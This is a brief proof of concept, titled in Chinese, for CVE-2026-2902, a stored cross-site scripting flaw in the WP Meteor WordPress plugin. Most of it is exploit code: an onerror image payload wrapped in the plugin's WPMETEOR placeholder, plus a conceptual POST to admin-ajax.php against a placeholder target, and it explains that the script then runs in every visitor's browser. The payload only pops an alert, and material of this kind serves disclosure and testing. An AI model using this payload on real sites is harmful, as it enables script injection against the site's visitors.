CVE-2026-2902 WP Meteor插件存储型XSS漏洞

// PoC for CVE-2026-2902: Stored XSS in WP Meteor // Vulnerability: Insufficient sanitization of 'WPMETEOR[N]WPMETEOR' placeholder // 1. The attacker sends a request containing the malicious payload // in the parameter that gets processed by frontend_rewrite. var payload = '<img src=x onerror=alert(1)>'; var vulnerableInput = 'WPMETEOR[1]' + payload + 'WPMETEOR'; // 2. The payload is stored via the vulnerable plugin function. // (Conceptual HTTP request) /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=wp_meteor_update&data=encodeURIComponent(vulnerableInput) */ // 3. When a user visits the affected page, the plugin processes the placeholder. // The script executes in the victim's browser context.